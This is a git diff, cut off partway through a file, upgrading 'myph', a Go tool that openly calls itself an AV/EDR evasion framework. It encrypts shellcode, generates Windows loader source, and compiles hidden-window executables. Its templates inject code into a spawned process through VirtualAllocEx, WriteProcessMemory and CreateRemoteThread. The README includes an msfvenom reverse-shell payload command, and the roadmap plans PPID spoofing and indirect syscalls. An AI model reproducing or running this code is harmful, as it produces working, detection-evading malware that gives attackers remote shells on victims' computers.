diff --git a/.dockerignore b/.dockerignore
@@ -0,0 +1,14 @@
+.git
+
+*.raw
+*.bin
+myph
+
+README.md
+
+Makefile
+Dockerfile
+
+.goreleaser.yml
+.dockerignore
+.gitignore
diff --git a/.gitignore b/.gitignore
@@ -3,12 +3,14 @@
# https://github.com/github/gitignore/blob/main/community/Golang/Go.AllowList.gitignore
#
# Binaries for programs and plugins
+*.bin
*.exe
*.exe~
*.dll
*.so
*.dylib
myph
+myph-out/
# Test binary, built with `go test -c`
*.test
diff --git a/Dockerfile b/Dockerfile
@@ -1,4 +1,4 @@
-FROM golang:1.19-alpine as builder
+FROM golang:1.20-alpine as builder
WORKDIR /root
RUN apk update --no-cache && \
@@ -11,12 +11,16 @@ COPY go.mod .
RUN go mod download
COPY . .
-RUN go build -o myph main.go
+RUN go build -o myph .
-FROM alpine:3.16.2
-WORKDIR /app
+FROM alpine:3.18.2
+LABEL maintainer="djnn <[email protected]>"
+
+RUN adduser -D djnn
+USER djnn
+WORKDIR /home/djnn
COPY --from=builder /root/myph .
-ENTRYPOINT [ "/app/myph" ]
+ENTRYPOINT [ "/home/djnn/myph" ]
diff --git a/Makefile b/Makefile
@@ -1,22 +1,58 @@
-TARGET = myph
-SRC = main.go
+# Build configuration
+# -------------------
+
+APP_NAME = myph
+APP_VERSION = 2.0.0
+GIT_REVISION = `git rev-parse HEAD`
+DOCKER_IMAGE_TAG ?= $(APP_VERSION)
+DOCKER_LOCAL_IMAGE = $(APP_NAME):$(DOCKER_IMAGE_TAG)
+
+# Introspection targets
+# ---------------------
.PHONY: all
all: compile
+
.PHONY: help
-help:
- @echo "\033[34mgork targets:\033[0m"
+help: header targets
+
+.PHONY: header
+header:
+ @echo "\033[34mEnvironment\033[0m"
+ @echo "\033[34m---------------------------------------------------------------\033[0m"
+ @printf "\033[33m%-23s\033[0m" "APP_NAME"
+ @printf "\033[35m%s\033[0m" $(APP_NAME)
+ @echo ""
+ @printf "\033[33m%-23s\033[0m" "APP_VERSION"
+ @printf "\033[35m%s\033[0m" $(APP_VERSION)
+ @echo ""
+ @printf "\033[33m%-23s\033[0m" "GIT_REVISION"
+ @printf "\033[35m%s\033[0m" $(GIT_REVISION)
+ @echo ""
+ @printf "\033[33m%-23s\033[0m" "DOCKER_IMAGE_TAG"
+ @printf "\033[35m%s\033[0m" $(DOCKER_IMAGE_TAG)
+ @echo ""
+ @printf "\033[33m%-23s\033[0m" "DOCKER_LOCAL_IMAGE"
+ @printf "\033[35m%s\033[0m" $(DOCKER_LOCAL_IMAGE)
+ @echo "\n"
+
+
+.PHONY: targets
+targets:
+ @echo "\033[34mmyph targets:\033[0m"
@perl -nle'print $& if m{^[a-zA-Z_-\d]+:.*?## .*$$}' $(MAKEFILE_LIST) | sort | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-22s\033[0m %s\n", $$1, $$2}'
+
.PHONY: compile
compile: ## compile the project
- @go build -o $(TARGET) $(SRC)
- .
+ @go build -o $(APP_NAME) .
+ @printf "[ *** successfully built %s version %s *** ]\n" $(APP_NAME) $(APP_VERSION)
+
.PHONY: clean
clean: ## clean up the project directory
- @rm -f $(TARGET)
+ @rm -vf $(APP_NAME)
.PHONY: docker
docker: ## build a local docker image
- @docker build . -t $(TARGET):latest
+ @docker build . -t $(APP_NAME):latest -t $(APP_NAME):$(APP_VERSION)
diff --git a/README.md b/README.md
@@ -12,16 +12,86 @@ for general information and testing. The tool and this repository are carefully
However, the developers cannot be held liable for for any damage, direct or indirect, of whatever nature as a result of
or related to the access to or use of the software.
-## Usage
+## How to use the software ?
-This tool uses the CRT method. If you don't know what that is, go check out [this repository](https://github.com/CMEPW/BypassAV) :)~
+> Please note this project is under development & subject to changes.
+> Breaking changes can be introduced from release to release.
+
+### Compiling or Installing the project
+
+You can easily compile like so:
+```bash
+# if you have make installed
+make # you can also use `make help` to check recipes
+
+# if you don't
+go build -o myph .
+```
+
+> You can also grab the latest release from [here](https://github.com/CMEPW/myph/releases/)
+
+Finally, you can install from the [golang package repository](https://pkg.go.dev/github.com/CMEPW/myph) like so:
+```bash
+# /!\ lowercase is important /!\
+go install github.com/cmepw/myph@latest
+```
+
+### Usage
+
+```bash
+Usage:
+ myph [flags]
+
+Flags:
+ -e, --encryption encKind encryption method. (allowed: AES, chacha20, XOR, blowfish) (default AES)
+ -h, --help help for myph
+ -k, --key string encryption key, auto-generated if empty. (if used by --encryption)
+ -f, --out string output name (default "payload.exe")
+ -p, --process string target process to inject shellcode to (default "cmd.exe")
+ -s, --shellcode string shellcode path (default "msf.raw")
+ --sleep-time uint sleep time in seconds before executing loader (default: 0)
+ -t, --technique string shellcode-loading technique (allowed: CRT, ProcessHollowing, CreateThread, Syscall) (default "CRT")
+ -v, --version version for myph
+```
+
+#### Methods
+
+This tool supports few methods for now, but aims to add more as time goes on:
+- CreateThread
+- CreateRemoteThread
+- Syscall
+- Process hollowing
+
+If you don't know what that is about, go check out [this repository](https://github.com/CMEPW/BypassAV) :)~
+
+
+#### Example
Generate a payload like so:
```bash
# generate your payload
-msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=80 -f raw -o msf.raw
+msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.2.2 LPORT=1234 -f raw -o msf.raw
+
+# run myph (--shellcode is not mandatory here because we use the default value)
+./myph --shellcode msf.raw --out something.exe
+
+# you should find your payload here
+file ./something.exe
+```
+
+#### Using docker
+
+```bash
+# using makefile
+make docker
-# run myph
-./myph --shellcode msf.raw --outfile exploit.exe
+# going through dockerfile directly
+docker build . -t myph:latest
```
+
+### Contributing
+
+Contributions are welcome, but please try to keep PRs short and issues descriptive. :)~
+
+A guide on how to use the tool is in the works, please let us know if you're interested in helping out.
diff --git a/TODO.txt b/TODO.txt
@@ -0,0 +1,33 @@
+#############################
+####### ROADMAP 2.1.0 #######
+#############################
+
+Templates:
+ - CreateRemoteThreadEx
+ - CreateFiber
+ - EtwpCreateEtwThread
+
+Misc:
+ - support for loading modules from PEB
+ - Research indirect syscalls
+ - Refactoring CLI options to interfaces
+ - Decrypt shellcode at the last possible time & split templates into trigger & prepare-payload functions
+
+Commands:
+ - Add support for GoVersionInfo
+
+
+#############################
+####### ROADMAP 2.2.0 #######
+#############################
+
+Commands:
+ - Add support for signing binary
+
+Sleep / jitter:
+ - Ekko
+
+Misc:
+ - indirect syscalls
+ - support for dameonizing ?
+ - introduce ppid spoofing ?
diff --git a/cli/defaults.go b/cli/defaults.go
@@ -7,12 +7,15 @@ import (
// Get default value for Options struct
func GetDefaultCLIOptions() Options {
opts := Options{
- ShellcodePath: "",
- AesKey: RandBytes(32),
- Outfile: "myph-out.exe",
+ ShellcodePath: "msf.raw",
+ OutName: "payload.exe",
OS: "windows",
- arch: "amd64",
- Target: "explorer.exe",
+ Arch: "amd64",
+ Target: "cmd.exe",
+ Encryption: EncKindAES,
+ Key: "",
+ Technique: "CRT",
+ SleepTime: 0,
}
return opts
diff --git a/cli/parser.go b/cli/parser.go
@@ -2,71 +2,222 @@ package cli
import (
"fmt"
- "github.com/cmepw/myph/loader"
- "github.com/spf13/cobra"
"os"
+ "os/exec"
+
+ "github.com/cmepw/myph/loaders"
+ "github.com/cmepw/myph/tools"
+ "github.com/spf13/cobra"
)
+const MYPH_TMP_DIR = "/tmp/myph-out"
+const MYPH_TMP_WITH_PAYLOAD = "/tmp/myph-out/payload.exe"
+
+const ASCII_ART = `
+ ... -==[ M Y P H ]==-
+ ;::::;
+ ;::::; :; In loving memory of
+ ;:::::' :; Wassyl Iaroslavovytch Slipak
+ ;:::::; ;.
+ ,:::::' ; OOO (1974 - 2016)
+ ::::::; ; OOOOO
+ ;:::::; ; OOOOOOOO
+ ,;::::::; ;' / OOOOOOO
+ ;::::::::: . ,,,;. / / DOOOOOO
+ .';:::::::::::::::::;, / / DOOOO
+ ,::::::;::::::;;;;::::;, / / DOOO AV / EDR evasion framework
+; :::::: '::::::;;;::::: ,#/ / DOOO to pop shells and
+: ::::::: ;::::::;;::: ;::# / DOOO make the blue team cry
+:: ::::::: ;:::::::: ;::::# / DOO
+ : ::::::: ;:::::: ;::::::#/ DOO
+ ::: ::::::: ;; ;:::::::::## OO written with <3 by djnn
+ :::: ::::::: ;::::::::;:::# OO ------
+ ::::: ::::::::::::;' :;::# O https://djnn.sh
+ ::::: ::::::::; / / :#
+ :::::: :::::; / / #
+
+
+ `
+
func GetParser(opts *Options) *cobra.Command {
- version := "0.0.1"
+
+ version := "2.0.0"
var cmd = &cobra.Command{
Use: "myph",
Version: version,
DisableSuggestions: true,
- Short: "AV bypass shellcode creation framework",
- Long: `CLI to prepare your shellcode and do AV/EDR bypass`,
+ Short: "AV/EDR evasion framework",
+ Long: ASCII_ART,
Run: func(cmd *cobra.Command, args []string) {
- if opts.ShellcodePath == "" {
- fmt.Println("[!] Please specify your shellcode's path with --shellcode")
+ /* obligatory skid ascii art */
+ fmt.Printf("%s\n\n", ASCII_ART)
+
+ /* later, we will call "go build" on a golang project, so we need to set up the project tree */
+ err := tools.CreateTmpProjectRoot(MYPH_TMP_DIR)
+ if err != nil {
+ fmt.Printf("[!] Error generating project root: %s\n", err)
os.Exit(1)
}
- plaintext_payload, err := loader.ReadFile(opts.ShellcodePath)
+ /* reading the shellcode as a series of bytes */
+ shellcode, err := tools.ReadFile(opts.ShellcodePath)
if err != nil {
- fmt.Printf("[!] Read shellcode error: %s\n", err.Error())
+ fmt.Printf("[!] Error reading shellcode file: %s\n", err.Error())
os.Exit(1)
}
- fmt.Println("[+] Successfully read shellcode")
- payload, err := loader.Encrypt(opts.AesKey, plaintext_payload)
+ /* i got 99 problems but generating a random key aint one */
+ if opts.Key == "" {
+ opts.Key = tools.RandomString(32)
+ }
+
+ fmt.Printf("[+] Selected algorithm: %s (Key: %s)\n", opts.Encryption.String(), opts.Key)
+
+ /* encoding defines the way the series of bytes will be written into the template */
+ encType := tools.SelectRandomEncodingType()
+
+ fmt.Printf("\tEncoding into template with [%s]\n", encType.String())
+
+ /*
+ depending on encryption type, we do the following:
+
+ - encrypt shellcode with key
+ - write both encrypted & key to file
+ - write to encrypt.go
+ - write to go.mod the required dependencies
+ */
+
+ var encrypted = []byte{}
+ var template = ""
+
+ switch opts.Encryption {
+ case EncKindAES:
+ encrypted, err = tools.EncryptAES(shellcode, []byte(opts.Key))
+ if err != nil {
+ fmt.Println("[!] Could not encrypt with AES")
+ panic(err)
+ }
+ template = tools.GetAESTemplate()
+
+ case EncKindXOR:
+ encrypted, err = tools.EncryptXOR(shellcode, []byte(opts.Key))
+ if err != nil {
+ fmt.Println("[!] Could not encrypt with XOR")
+ panic(err)
+ }
+ template = tools.GetXORTemplate()
+
+ case EncKindC20:
+ encrypted, err = tools.EncryptChacha20(shellcode, []byte(opts.Key))
+ if err != nil {
+ fmt.Println("[!] Could not encrypt with ChaCha20")
+ panic(err)
+ }
+
+ fmt.Println("\n...downloading necessary library...")
+ fmt.Println("if it fails because of your internet connection, please consider using XOR or AES instead")
+
+ /* Running `go get "golang.org/x/crypto/chacha20poly1305"` in MYPH_TMP_DIR` */
+ execCmd := exec.Command("go", "get", "golang.org/x/crypto/chacha20poly1305")
+ execCmd.Dir = MYPH_TMP_DIR
+
+ _, _ = execCmd.Output()
+ template = tools.GetChacha20Template()
+
+ case EncKindBLF:
+ encrypted, err = tools.EncryptBlowfish(shellcode, []byte(opts.Key))
+ if err != nil {
+ fmt.Println("[!] Could not encrypt with Blowfish")
+ panic(err)
+ }
+
+ fmt.Println("\n...downloading necessary library...")
+ fmt.Println("if it fails because of your internet connection, please consider using XOR or AES instead")
+
+ /* Running `go get golang.org/x/crypto/blowfish in MYPH_TMP_DIR` */
+ execCmd := exec.Command("go", "get", "golang.org/x/crypto/blowfish")
+ execCmd.Dir = MYPH_TMP_DIR
+
+ _, _ = execCmd.Output()
+ template = tools.GetBlowfishTemplate()
+ }
+
+ /* write decryption routine template */
+ err = tools.WriteToFile(MYPH_TMP_DIR, "encrypt.go", template)
if err != nil {
- fmt.Println(err.Error())
- os.Exit(1)
+ panic(err)
+ }
+
+ /* write main execution template */
+ encodedShellcode := tools.EncodeForInterpolation(encType, encrypted)
+ encodedKey := tools.EncodeForInterpolation(encType, []byte(opts.Key))
+ err = tools.WriteToFile(
+ MYPH_TMP_DIR,
+ "main.go",
+ tools.GetMainTemplate(
+ encType.String(),
+ encodedKey,
+ encodedShellcode,
+ opts.SleepTime,
+ ),
+ )
+ if err != nil {
+ panic(err)
}
os.Setenv("GOOS", opts.OS)
- os.Setenv("GOARCH", opts.arch)
- s := loader.Shellcode{
- Payload: payload,
- Filename: opts.Outfile,
- AesKey: []byte(opts.AesKey),
- Target: opts.Target,
+ os.Setenv("GOARCH", opts.Arch)
+
+ templateFunc := loaders.SelectTemplate(opts.Technique)
+ if templateFunc == nil {
+ fmt.Printf("[!] Could not find a technique for this method: %s\n", opts.Technique)
+ os.Exit(1)
}
- fmt.Println("[+] Encrypted shellcode with AES key")
- toCompile := loader.LoadWindowsTemplate(s)
- err = loader.WriteToTempfile(toCompile)
+ err = tools.WriteToFile(MYPH_TMP_DIR, "exec.go", templateFunc(opts.Target))
if err != nil {
- fmt.Printf("Write error: %s\n", err.Error())
+ panic(err)
+ }
+
+ fmt.Printf("\n[+] Template (%s) written to tmp directory. Compiling...\n", opts.Technique)
+ execCmd := exec.Command("go", "build", "-ldflags", "-s -w -H=windowsgui", "-o", "payload.exe", ".")
+ execCmd.Dir = MYPH_TMP_DIR
+
+ _, stderr := execCmd.Output()
+
+ if stderr != nil {
+ fmt.Printf("[!] error compiling shellcode: %s\n", stderr.Error())
+ fmt.Printf(
+ "\nYou may try to run the following command in %s to find out what happend:\n\n GOOS=%s GOARCH=%s %s\n\n",
+ MYPH_TMP_DIR,
+ opts.OS,
+ opts.Arch,
+ "go build -ldflags \"-s -w -H=windowsgui\" -o payload.exe",
+ )
+
+ fmt.Println("If you want to submit a bug report, please add the output from this command...Thank you <3")
os.Exit(1)
}
- fmt.Println("[+] loaded Windows template")
+ tools.MoveFile(MYPH_TMP_WITH_PAYLOAD, opts.OutName)
+ os.RemoveAll(MYPH_TMP_DIR)
- /* run compilation */
- loader.Compile(s)
+ fmt.Printf("[+] Done! Compiled payload: %s\n", opts.OutName)
},
}
defaults := GetDefaultCLIOptions()
- cmd.PersistentFlags().StringVarP(&opts.Outfile, "outfile", "f", defaults.Outfile, "output filepath")
+ cmd.PersistentFlags().StringVarP(&opts.OutName, "out", "f", defaults.OutName, "output name")
cmd.PersistentFlags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path")
- cmd.PersistentFlags().BytesHexVarP(&opts.AesKey, "aes-key", "a", defaults.AesKey, "AES key for shellcode encryption")
- cmd.PersistentFlags().StringVarP(&opts.arch, "arch", "r", defaults.arch, "architecture compilation target")
- cmd.PersistentFlags().StringVarP(&opts.OS, "os", "o", defaults.OS, "OS compilation target")
- cmd.PersistentFlags().StringVarP(&opts.Target, "target-process", "t", defaults.Target, "target for process injection")
+ cmd.PersistentFlags().StringVarP(&opts.Target, "process", "p", defaults.Target, "target process to inject shellcode to")
+ cmd.PersistentFlags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, ProcessHollowing, CreateThread, Syscall)")
+
+ cmd.PersistentFlags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, chacha20, XOR, blowfish)")
+ cmd.PersistentFlags().StringVarP(&opts.Key, "key", "k", "", "encryption key, auto-generated if empty. (if used by --encryption)")
+
+ cmd.PersistentFlags().UintVarP(&opts.SleepTime, "sleep-time", "", defaults.SleepTime, "sleep time in seconds before executing loader (default: 0)")
return cmd
}
diff --git a/cli/types.go b/cli/types.go
@@ -1,22 +1,93 @@
package cli
+import "errors"
+
+// encryption kind (used for CLI)
+type encKind string
+
+// shellcode-loading technique kind (used for CLI)
+type technique string
+
+const (
+ EncKindAES encKind = "AES"
+ EncKindXOR encKind = "XOR"
+ EncKindBLF encKind = "blowfish"
+ EncKindC20 encKind = "chacha20"
+
+ CRT technique = "CRT"
+ SYSCALL technique = "Syscall"
+ CreateThread technique = "CreateThread"
+ ProcessHollowing technique = "ProcessHollowing"
+)
+
+// String is used both by fmt.Print and by Cobra in help text
+func (e *encKind) String() string {
+ return string(*e)
+}
+
+// Set must have pointer receiver so it doesn't change the value of a copy
+func (e *encKind) Set(v string) error {
+ switch v {
+ case "AES", "XOR", "blowfish", "chacha20":
+ *e = encKind(v)
+ return nil
+ default:
+ return errors.New("must be one of \"chacha20\", \"AES\", \"blowfish\" or \"XOR\"\n\n")
+ }
+}
+
+// Type is only used in help text
+func (e *encKind) Type() string {
+ return "encKind"
+}
+
+// String is used both by fmt.Print and by Cobra in help text
+func (e *technique) String() string {
+ return string(*e)
+}
+
+// Set must have pointer receiver so it doesn't change the value of a copy
+func (e *technique) Set(v string) error {
+ switch v {
+ case "CreateThread", "CRT", "ProcessHollowing", "Syscall":
+ *e = technique(v)
+ return nil
+ default:
+ return errors.New("must be one of \"CRT\", \"Syscall\", \"ProcessHollowing\" or \"CreateThread\"\n\n")
+ }
+}
+
+// Type is only used in help text
+func (e *technique) Type() string {
+ return "technique"
+}
+
type Options struct {
+ // Shellcode encryption method
+ Encryption encKind
+
+ // Encryption key (if needed)
+ Key string
+
// Shellcode path
ShellcodePath string
- // Outfile path
- Outfile string
-
- // AES shellcode encryption secret
- AesKey []byte
+ // OutName path
+ OutName string
// os compilation target
OS string
- // arch compilation target
- arch string
+ // Arch compilation target
+ Arch string
// target process name to inject
Target string
+
+ // Shellcode loading method
+ Technique string
+
+ // Sleep time before running execution
+ SleepTime uint
}
diff --git a/go.mod b/go.mod
@@ -1,10 +1,14 @@
module github.com/cmepw/myph
-go 1.19
+go 1.20
-require github.com/spf13/cobra v1.6.1
+require (
+ github.com/spf13/cobra v1.7.0
+ golang.org/x/crypto v0.11.0
+)
require (
- github.com/inconshreveable/mousetrap v1.0.1 // indirect
+ github.com/inconshreveable/mousetrap v1.1.0 // indirect
github.com/spf13/pflag v1.0.5 // indirect
+ golang.org/x/sys v0.10.0 // indirect
)
diff --git a/go.sum b/go.sum
@@ -1,10 +1,14 @@
github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
-github.com/inconshreveable/mousetrap v1.0.1 h1:U3uMjPSQEBMNp1lFxmllqCPM6P5u/Xq7Pgzkat/bFNc=
-github.com/inconshreveable/mousetrap v1.0.1/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
+github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=
+github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
-github.com/spf13/cobra v1.6.1 h1:o94oiPyS4KD1mPy2fmcYYHHfCxLqYjJOhGsCHFZtEzA=
-github.com/spf13/cobra v1.6.1/go.mod h1:IOw/AERYS7UzyrGinqmz6HLUo219MORXGxhbaJUqzrY=
+github.com/spf13/cobra v1.7.0 h1:hyqWnYt1ZQShIddO5kBpj3vu05/++x6tJ6dg8EC572I=
+github.com/spf13/cobra v1.7.0/go.mod h1:uLxZILRyS/50WlhOIKD7W6V5bgeIt+4sICxh6uRMrb0=
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
+golang.org/x/crypto v0.11.0 h1:6Ewdq3tDic1mg5xRO4milcWCfMVQhI4NkqWWvqejpuA=
+golang.org/x/crypto v0.11.0/go.mod h1:xgJhtzW8F9jGdVFWZESrid1U1bjeNy4zgy5cRr/CIio=
+golang.org/x/sys v0.10.0 h1:SqMFp9UcQJZa+pmYuAKjd9xq1f0j5rLcDIk0mj4qAsA=
+golang.org/x/sys v0.10.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
diff --git a/loader/aes.go b/loader/aes.go
@@ -1,33 +0,0 @@
-package loader
-
-import (
- "crypto/aes"
- "fmt"
-
- "crypto/cipher"
- "crypto/rand"
- "io"
-)
-
-func ToString(payload []byte) string {
- return fmt.Sprint([]byte(payload))
-}
-
-func Encrypt(key []byte, plaintext []byte) ([]byte, error) {
- c, err := aes.NewCipher(key)
- if err != nil {
- return nil, err
- }
-
- gcm, err := cipher.NewGCM(c)
- if err != nil {
- return nil, err
- }
-
- nonce := make([]byte, gcm.NonceSize())
- if _, err = io.ReadFull(rand.Reader, nonce); err != nil {
- return nil, err
- }
-
- return gcm.Seal(nonce, nonce, plaintext, nil), nil
-}
diff --git a/loader/compile.go b/loader/compile.go
@@ -1,26 +0,0 @@
-package loader
-
-import (
- "fmt"
- "os"
- "os/exec"
-)
-
-func Compile(sc Shellcode) {
- err := exec.Command(
- "go",
- "build",
- "-ldflags",
- "-s -w -H=windowsgui",
- "-o",
- sc.Filename,
- "tmp.go",
- ).Run()
- if err != nil {
- println("[!] Compile error: " + err.Error())
- os.Exit(1)
- }
- fmt.Println("[+] Successfully compiled shellcode")
- os.Remove("tmp.go")
-
-}
diff --git a/loader/types.go b/loader/types.go
@@ -1,15 +0,0 @@
-package loader
-
-type Shellcode struct {
- // payload in bytes
- Payload []byte
-
- // output filename
- Filename string
-
- // AES key used for encryption & decrpytion
- AesKey []byte
-
- // target process name to inject
- Target string
-}
diff --git a/loader/utils.go b/loader/utils.go
@@ -1,44 +0,0 @@
-package loader
-
-import (
- "bufio"
- "bytes"
- "io"
- "log"
- "os"
-)
-
-func ReadFile(filepath string) ([]byte, error) {
-
- buf := bytes.NewBuffer(nil)
- f, err := os.Open(filepath)
- if err != nil {
- return []byte{}, err
- }
-
- io.Copy(buf, f)
- f.Close()
-
- return buf.Bytes(), nil
-}
-
-func WriteToTempfile(payload string) error {
- // create file
- f, err := os.Create("tmp.go")
- if err != nil {
- log.Fatal(err)
- }
- defer f.Close()
-
- buffer := bufio.NewWriter(f)
- _, err = buffer.WriteString(payload + "\n")
- if err != nil {
- log.Fatal(err)
- }
-
- // flush buffered data to the file
- if err := buffer.Flush(); err != nil {
- log.Fatal(err)
- }
- return nil
-}
diff --git a/loader/windows.go b/loader/windows.go
@@ -1,198 +0,0 @@
-package loader
-
-import (
- "fmt"
-)
-
-func LoadWindowsTemplate(s Shellcode) string {
-
- hexShellcode := ToString(s.Payload)
- hexKey := ToString(s.AesKey)
- hexTarget := ToString([]byte(s.Target))
-
- return fmt.Sprintf(`
-package main
-
-import (
- "crypto/aes"
- "os"
- "syscall"
- "unsafe"
- "strings"
- "strconv"
- "crypto/cipher"
- "errors"
-)
-
-
-const (
- MEM_COMMIT = 0x1000
- MEM_RESERVE = 0x2000
- PAGE_READWRITE = 0x4
- PAGE_EXECUTE_READ = 0x20
- PAGE_EXECUTE_READWRITE = 0x40
- PROCESS_CREATE_THREAD = 0x0002
- PROCESS_QUERY_INFORMATION = 0x0400
- PROCESS_VM_OPERATION = 0x0008
- PROCESS_VM_WRITE = 0x0020
- PROCESS_VM_READ = 0x0010
- CREATE_SUSPENDED = 0x4
- CREATE_NO_WINDOW = 0x8000000
-)
-
-var (
- kernel32 = syscall.MustLoadDLL("kernel32.dll")
- ntdll = syscall.MustLoadDLL("ntdll.dll")
-
- RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
-
- VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
- VirtualAllocEx = kernel32.MustFindProc("VirtualAllocEx")
- VirtualProtectEx = kernel32.MustFindProc("VirtualProtectEx")
- WriteProcessMemory = kernel32.MustFindProc("WriteProcessMemory")
- OpenProcess = kernel32.MustFindProc("OpenProcess")
- CreateRemoteThread = kernel32.MustFindProc("CreateRemoteThread")
- closeHandle = kernel32.MustFindProc("CloseHandle")
-)
-
-
-func decrypt(key []byte, ciphertext []byte) ([]byte, error) {
- c, err := aes.NewCipher(key)
- if err != nil {
- return nil, err
- }
-
- gcm, err := cipher.NewGCM(c)
- if err != nil {
- return nil, err
- }
-
- nonceSize := gcm.NonceSize()
- if len(ciphertext) < nonceSize {
- return nil, errors.New("ciphertext too short")
- }
-
- nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]
- return gcm.Open(nil, nonce, ciphertext, nil)
-}
-
-
-func StringBytesParseString(byteString string) (string, error) {
- byteString = strings.TrimSuffix(byteString, "]")
- byteString = strings.TrimLeft(byteString, "[")
- sByteString := strings.Split(byteString, " ")
- var res []byte
- for _, s := range sByteString {
- i, err := strconv.ParseUint(s, 10, 64)
- if err != nil {
- return "", err
- }
- res = append(res, byte(i))
- }
-
- return string(res), nil
-}
-
-func loadProcess(target string) *syscall.ProcessInformation {
- var si syscall.StartupInfo
- var pi syscall.ProcessInformation
-
- commandLine, err := syscall.UTF16PtrFromString(target)
-
- if err != nil {
- panic(err)
- }
-
- err = syscall.CreateProcess(
- nil,
- commandLine,
- nil,
- nil,
- false,
- CREATE_SUSPENDED | CREATE_NO_WINDOW,
- nil,
- nil,
- &si,
- &pi)
-
- if err != nil {
- panic(err)
- }
-
- return &pi
-}
-
-func main() {
-
- /* decode values from encoded bytes */
- key, err := StringBytesParseString("%s"); if err != nil {
- os.Exit(1)
- }
-
- bytesPayload, err := StringBytesParseString("%s"); if err != nil {
- os.Exit(1)
- }
-
- target, err := StringBytesParseString("%s"); if err != nil {
- os.Exit(1)
- }
-
- /* decrypt shellcode using AES */
- shellcode, err := decrypt([]byte(key), []byte(bytesPayload)); if err != nil {
- os.Exit(1)
- }
-
- /* spawn target process */
- process := loadProcess(target)
- oldProtectCfg := PAGE_READWRITE
-
- /* allocating the appropriate amount of memory */
- baseAddr, _, err := VirtualAllocEx.Call(
- uintptr(process.Process),
- 0,
- uintptr(len(shellcode)),
- MEM_COMMIT | MEM_RESERVE,
- PAGE_READWRITE,
- )
- if err.Error() != "The operation completed successfully." {
- os.Exit(1)
- }
-
- /* overwriting process memory with our shellcode */
- _, _, err = WriteProcessMemory.Call(
- uintptr(process.Process),
- baseAddr,
- uintptr(unsafe.Pointer(&shellcode[0])),
- uintptr(len(shellcode)),
- 0,
- )
- if err.Error() != "The operation completed successfully." {
- os.Exit(1)
- }
-
- /* changing permissions for our memory segment */
- _, _, err = VirtualProtectEx.Call(
- uintptr(process.Process),
- baseAddr,
- uintptr(len(shellcode)),
- PAGE_EXECUTE_READ,
- uintptr(unsafe.Pointer(&oldProtectCfg)),
- )
- if err.Error() != "The operation completed successfully." {
- os.Exit(1)
- }
-
- /* load remote thread */
- _, _, err = CreateRemoteThread.Call(uintptr(process.Process), 0, 0, baseAddr, 0, 0, 0)
- if err.Error() != "The operation completed successfully." {
- os.Exit(1)
- }
-
- /* close process handler */
- _, _, err = closeHandle.Call(uintptr(process.Process))
- if err.Error() != "The operation completed successfully." {
- os.Exit(1)
- }
-}
-`, hexKey, hexShellcode, hexTarget)
-}
diff --git a/loaders/createRemoteThread.go b/loaders/createRemoteThread.go
@@ -0,0 +1,101 @@
+package loaders
+
+import (
+ "fmt"
+)
+
+func GetCRTTemplate(targetProcess string) string {
+ return fmt.Sprintf(`
+package main
+
+import (
+ "syscall"
+ "unsafe"
+)
+
+
+const (
+ MEM_COMMIT = 0x1000
+ MEM_RESERVE = 0x2000
+ PAGE_READWRITE = 0x4
+ PAGE_EXECUTE_READ = 0x20
+ PAGE_EXECUTE_READWRITE = 0x40
+ CREATE_SUSPENDED = 0x4
+ CREATE_NO_WINDOW = 0x8000000
+)
+
+var (
+ kernel32 = syscall.MustLoadDLL("kernel32.dll")
+
+ VirtualAllocEx = kernel32.MustFindProc("VirtualAllocEx")
+ VirtualProtectEx = kernel32.MustFindProc("VirtualProtectEx")
+ WriteProcessMemory = kernel32.MustFindProc("WriteProcessMemory")
+ CreateRemoteThread = kernel32.MustFindProc("CreateRemoteThread")
+)
+
+
+func loadProcess(target string) *syscall.ProcessInformation {
+ var si syscall.StartupInfo
+ var pi syscall.ProcessInformation
+
+ commandLine, err := syscall.UTF16PtrFromString(target)
+ if err != nil {
+ panic(err)
+ }
+
+ err = syscall.CreateProcess(
+ nil,
+ commandLine,
+ nil,
+ nil,
+ false,
+ CREATE_SUSPENDED | CREATE_NO_WINDOW,
+ nil,
+ nil,
+ &si,
+ &pi,
+ ); if err != nil {
+ panic(err)
+ }
+
+ return &pi
+}
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+ /* spawn target process */
+ process := loadProcess("%s")
+ oldProtectCfg := PAGE_READWRITE
+
+ /* allocating the appropriate amount of memory */
+ baseAddr, _, _ := VirtualAllocEx.Call(
+ uintptr(process.Process),
+ 0,
+ uintptr(len(shellcode)),
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_READWRITE,
+ )
+
+ /* overwriting process memory with our shellcode */
+ _, _, _ = WriteProcessMemory.Call(
+ uintptr(process.Process),
+ baseAddr,
+ uintptr(unsafe.Pointer(&shellcode[0])),
